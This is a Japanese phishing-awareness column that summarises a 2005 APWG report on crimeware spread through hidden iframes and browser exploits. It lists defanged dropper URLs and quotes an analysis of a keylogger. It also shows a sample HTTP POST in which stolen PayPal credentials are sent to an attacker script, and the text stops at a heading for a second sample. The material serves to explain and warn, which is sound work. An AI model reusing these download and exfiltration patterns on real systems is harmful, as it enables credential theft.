

## 第11回 侵入したコードがクライムウェアのゲートウェイを作り上げる場合

個人情報の取得を目的としたスパイウェアはクライムウェアと呼ばれています。このクライムウェアをユーザに分からないようPCにインストールさせる為、ダウンロードとして機能する不正なコードをWebサーバに潜ませる方法が報告されてきています。今回は、不正なコードを用いてインストールされるクライムウェアの内容が、軽犯罪的なものから、重大な犯罪となるような悪質なものへ変化しているという報告をご紹介します。

- - - - 「APWG Phishing Activity Trends Report 2005年12月 日本語版」より - - - -

ブラウザやオペレーティング・システムの脆弱性を利用し、ユーザ操作を介さずにエンドユーザのPCに「Potentially Unwanted Software」( )をインストールする事例が確認されています。いくつかの事例においては、一台に数十種類の不正コードがインストールされた後、そのスパイウェアの駆除を装う情報が表示されます。

スパイウェア、アドウェア、キーロガーといった不審なソフトウェア、クライムウェアの総称。

また、これらの行為が、結果的にキーロガーやフィッシング・トラフィック・コントローラー等のより悪質なクライムウェアのインストールするための準備的行為であるということが分かっています。このコードは「Potentially Unwanted Software」のインストールのみにとどまらず、情報を「盗み出す」ことを目的に作られています。

ユーザのほとんどが「iFrame」を通じて、偽ウェブサイトや広告ネットワークのポップアップから気づかないうちに感染していました。これらの不正コードは、公表前の脆弱性を含む多くの脆弱性を利用しています。更にこれらの脆弱性に対するパッチの適用が完了しているユーザに対しては、不正コードのインストールを促す「ActiveX」プロンプトが画面表示されていました。

「IFRAME SRC」は次に示すものに似た URL を取り込みます。

(下記 URL は既に抹消されています。)

<http://too1barXXX.biz/dl/xpladv470.wmf>

<http://too1barXXX.biz/dl/fillmemadv470.htm>

<http://too1barXXX.biz/dl/splaitadv470.anr>

<http://too1barXXX.biz/dl/xpladv470.wmf>

これらの不正コードはダウンロードとして機能し、「HTTP GET」が他のウェブサイトに対してクライムウェアをインストールするようリクエストを上げる働きをしていました。初期のダウンロードの基本的な目的は、偽のスパイウェア駆除ツール、ツールバー、アドウェアやその他の「Potentially Unwanted Software」をインストールすることのみでした。

## ～ フィッシング詐欺トピックス ～

しかしながら、最近ではダウンロードされたファイルが次にあげるような不正行為を行うことも多くなっています。

銀行預金情報キーロガー

トロイの木馬ルートキット機能

偽「Paypal」ウェブサイトへ導くトラフィック・リダイレクター

トロイの木馬バックドア

「インターネット・エクスプローラー」プロセス注入

### キー操作略取事例

```
The keylogger is usually retrieved from a URL such as:  
http:// too1barXXX.biz/progs/kl.txt  
  
kl.txt is a not a text file; it is a Windows binary Trojan horse that is packed with NSPack.  
  
file output:  
file kl.txt  
kl.txt: MS-DOS executable (EXE), OS/2 or MS Windows  
  
The dropper includes a number of files. The dropped keylogger files are typically named ibmXXX.exe and ibmXXX.dll. This keylogger monitors for every POST request made by the client computer (such as a logon to a banking website) and sends the captured information to a URL running a script named 'x25.php'. This program also injects itself into the Explorer process and silently redirects attempts to login to specific financial sites.
```

### サンプル画面1：パスワード略取 「HTTP POST」コンテンツ略取

```
POST /gamma/x25.php?<redacted>  
Content-Type: multipart/form-data; boundary=swefasvqdvwxff  
...Host: <redacted>  
Content-Length: 457  
Connection: close  
User-Agent: Mozilla/4.0  
Host: <redacted>  
Cache-Control: no-cache  
  
...--swefasvqdvwxff  
Content-Disposition: form-data; name=datafile; filename="data.str"  
...Content-Type: application/octet-stream  
  
...4.C!...Application: c:\program files\internet explorer\iexplore.exe  
REQUEST:  
HEADERS:  
POST /cgi-bin/webscr?cmd=_login-submit HTTP/1.1  
Host: <redacted>  
Referer: http://www.paypal.com/  
  
POST_FORM:  
login_email=user@domain.com<-- Captured Login  
login_password=myspassword<-- Captured Password  
submit.x=Log+In  
form_charset=UTF-8  
  
...--swefasvqdvwxff--
```

## ～ フィッシング詐欺トピックス ～

### サンプル画面2 : 「PayPal」 へのリダイレクト

